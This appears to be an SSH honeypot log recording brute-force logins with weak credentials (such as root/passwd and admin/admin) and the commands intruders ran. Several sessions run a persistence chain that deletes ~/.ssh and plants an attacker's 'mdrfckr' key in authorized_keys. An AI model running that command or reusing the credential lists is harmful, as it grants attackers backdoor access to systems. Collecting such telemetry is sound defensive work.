      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:20:08.855881 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: gk

Record ID: 32a57c54f6a6

Client Version: SSH-2.0-Go

Engagement Duration: 15.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "32a57c54f6a6",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:20:08.855881Z",
  "end_time": "2026-09-29T03:20:23.931133Z",
  "duration": "15.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "gk",
      "pass": "gk123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:19:57.068428 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: dev

Record ID: ad07d982e638

Client Version: SSH-2.0-Go

Engagement Duration: 18.0s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ad07d982e638",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:57.068428Z",
  "end_time": "2026-09-29T03:20:15.052593Z",
  "duration": "18.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "dev",
      "pass": "abc123"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:19:44.178148 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / passwd

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 65c2d633c1aa

Client Version: SSH-2.0-Go

Engagement Duration: 22.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "65c2d633c1aa",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:44.178148Z",
  "end_time": "2026-09-29T03:20:06.916434Z",
  "duration": "22.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "passwd"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:19:35.760839 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / demo

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 5f636a18387f

Client Version: SSH-2.0-Go

Engagement Duration: 20.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "5f636a18387f",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:35.760839Z",
  "end_time": "2026-09-29T03:19:55.953855Z",
  "duration": "20.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "demo"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

120.48.60.44

2026-09-29 03:19:30.396922 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 2920c503befc

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "2920c503befc",
  "src_ip": "120.48.60.44",
  "start_time": "2026-09-29T03:19:30.396922Z",
  "end_time": "2026-09-29T03:19:30.676076Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.126

2026-09-29 03:19:22.502452 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: ubuntu / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 8e337ed822a9

Client Version: SSH-2.0-Go

Engagement Duration: 19.3s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "8e337ed822a9",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:22.502452Z",
  "end_time": "2026-09-29T03:19:41.843683Z",
  "duration": "19.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "ubuntu",
    "pass": "1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

182.93.7.194

2026-09-29 03:19:17.200927 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: f632a4d1f31c

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 1.1s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "f632a4d1f31c",
  "src_ip": "182.93.7.194",
  "start_time": "2026-09-29T03:19:17.200927Z",
  "end_time": "2026-09-29T03:19:18.273232Z",
  "duration": "1.1",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

182.93.7.194

2026-09-29 03:19:14.541527 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 9d067d1373c9

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 2.6s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "9d067d1373c9",
  "src_ip": "182.93.7.194",
  "start_time": "2026-09-29T03:19:14.541527Z",
  "end_time": "2026-09-29T03:19:17.115017Z",
  "duration": "2.6",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

182.93.7.194

2026-09-29 03:19:12.102715 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / !Q@W#E4r5t6y

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: e41cff0fa18a

Client Version: SSH-2.0-libssh_0.11.1

Engagement Duration: 6.2s

HASSH Fingerprint: 03a80b21afa810682a776a7d42e5e6fb

{
  "id": "e41cff0fa18a",
  "src_ip": "182.93.7.194",
  "start_time": "2026-09-29T03:19:12.102715Z",
  "end_time": "2026-09-29T03:19:18.276393Z",
  "duration": "6.2",
  "version": "SSH-2.0-libssh_0.11.1",
  "hassh": "03a80b21afa810682a776a7d42e5e6fb",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "!Q@W#E4r5t6y"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:19:09.180148 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: postgres / 123456789

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: c5c6a0536ee9

Client Version: SSH-2.0-Go

Engagement Duration: 18.7s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "c5c6a0536ee9",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:09.180148Z",
  "end_time": "2026-09-29T03:19:27.878271Z",
  "duration": "18.7",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "123456789"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:19:00.818795 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: doris

Record ID: 555229f43968

Client Version: SSH-2.0-Go

Engagement Duration: 11.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "555229f43968",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:19:00.818795Z",
  "end_time": "2026-09-29T03:19:12.344231Z",
  "duration": "11.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "doris",
      "pass": "doris"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

111.17.199.57

2026-09-29 03:18:54.790750 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: esuser

Record ID: 0e87c24677eb

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 3.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "0e87c24677eb",
  "src_ip": "111.17.199.57",
  "start_time": "2026-09-29T03:18:54.790750Z",
  "end_time": "2026-09-29T03:18:57.852489Z",
  "duration": "3.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "esuser",
      "pass": "esuser"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:18:46.073596 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / Pass!123456

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 6af0bfc9e3d6

Client Version: SSH-2.0-Go

Engagement Duration: 18.1s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "6af0bfc9e3d6",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:18:46.073596Z",
  "end_time": "2026-09-29T03:19:04.130678Z",
  "duration": "18.1",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "Pass!123456"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:18:44.920285 UTC

SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: root / 3245gs5662d34

Record ID: cd56ef5fe9a4

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 1.2s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "cd56ef5fe9a4",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:18:44.920285Z",
  "end_time": "2026-09-29T03:18:46.084954Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:18:42.599661 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: aa55cb7aab44

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 2.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "aa55cb7aab44",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:18:42.599661Z",
  "end_time": "2026-09-29T03:18:44.735167Z",
  "duration": "2.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

43.156.115.178

2026-09-29 03:18:40.078831 UTC

COMMANDS RUN SUCCESSFUL LOGIN SCORE: 80

Credential acceptance event recorded. Target authentication: root / user1234

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh

Command not found: lockr -ia .ssh

[obs-node]:~$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Record ID: d030943c5253

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 6.0s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "d030943c5253",
  "src_ip": "43.156.115.178",
  "start_time": "2026-09-29T03:18:40.078831Z",
  "end_time": "2026-09-29T03:18:46.089636Z",
  "duration": "6.0",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "user1234"
  },
  "commands": [
    "cd ~; chattr -ia .ssh; lockr -ia .ssh",
    "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
  ],
  "detailed_commands": [
    {
      "cmd": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
      "failed": true,
      "error": "Command not found: lockr -ia .ssh"
    },
    {
      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "COMMANDS RUN",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:18:36.609953 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: admin / admin

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 4193dbdeb297

Client Version: SSH-2.0-Go

Engagement Duration: 19.2s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4193dbdeb297",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:18:36.609953Z",
  "end_time": "2026-09-29T03:18:55.853469Z",
  "duration": "19.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "admin",
    "pass": "admin"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

120.48.60.44

2026-09-29 03:18:26.382248 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: c9b486c3c88f

Client Version: SSH-2.0-libssh_0.9.6

Engagement Duration: 27.1s

HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a

{
  "id": "c9b486c3c88f",
  "src_ip": "120.48.60.44",
  "start_time": "2026-09-29T03:18:26.382248Z",
  "end_time": "2026-09-29T03:18:53.529507Z",
  "duration": "27.1",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.126

2026-09-29 03:18:22.994108 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: root / passwd1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: 4c27030fc701

Client Version: SSH-2.0-Go

Engagement Duration: 19.9s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "4c27030fc701",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:18:22.994108Z",
  "end_time": "2026-09-29T03:18:42.919954Z",
  "duration": "19.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "passwd1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

69.57.172.119

2026-09-29 03:18:12.477106 UTC

FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nonproductions

Record ID: d4a85e7ca696

Client Version: SSH-2.0-Go

Engagement Duration: 2.7s

HASSH Fingerprint: 1d1621d4b4020aa4fdba5b47ddef8678

{
  "id": "d4a85e7ca696",
  "src_ip": "69.57.172.119",
  "start_time": "2026-09-29T03:18:12.477106Z",
  "end_time": "2026-09-29T03:18:15.207416Z",
  "duration": "2.7",
  "version": "SSH-2.0-Go",
  "hassh": "1d1621d4b4020aa4fdba5b47ddef8678",
  "attempts": [
    {
      "user": "nonproductions",
      "pass": "nonproductions1234@"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}

69.57.172.119

2026-09-29 03:18:11.936989 UTC

SCORE: 0

Autonomous probing activity normalized. Remote entity established connection but deferred authentication.

Record ID: 6cd4f70d5c9b

Client Version: Unknown

Engagement Duration: 0.3s

{
  "id": "6cd4f70d5c9b",
  "src_ip": "69.57.172.119",
  "start_time": "2026-09-29T03:18:11.936989Z",
  "end_time": "2026-09-29T03:18:12.214223Z",
  "duration": "0.3",
  "version": null,
  "hassh": null,
  "attempts": [],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": []
}

109.160.32.126

2026-09-29 03:18:10.046494 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: postgres / 1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: b3fc56bde02b

Client Version: SSH-2.0-Go

Engagement Duration: 25.6s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "b3fc56bde02b",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:18:10.046494Z",
  "end_time": "2026-09-29T03:18:35.626871Z",
  "duration": "25.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}

109.160.32.126

2026-09-29 03:18:01.453727 UTC

COMMANDS RUN RECONNAISSANCE SUCCESSFUL LOGIN SCORE: 100

Credential acceptance event recorded. Target authentication: user / rootroot

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m

Record ID: ba9d57827003

Client Version: SSH-2.0-Go

Engagement Duration: 23.5s

HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499

{
  "id": "ba9d57827003",
  "src_ip": "109.160.32.126",
  "start_time": "2026-09-29T03:18:01.453727Z",
  "end_time": "2026-09-29T03:18:24.920229Z",
  "duration": "23.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "rootroot"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "COMMANDS RUN",
    "RECONNAISSANCE",
    "SUCCESSFUL LOGIN"
  ]
}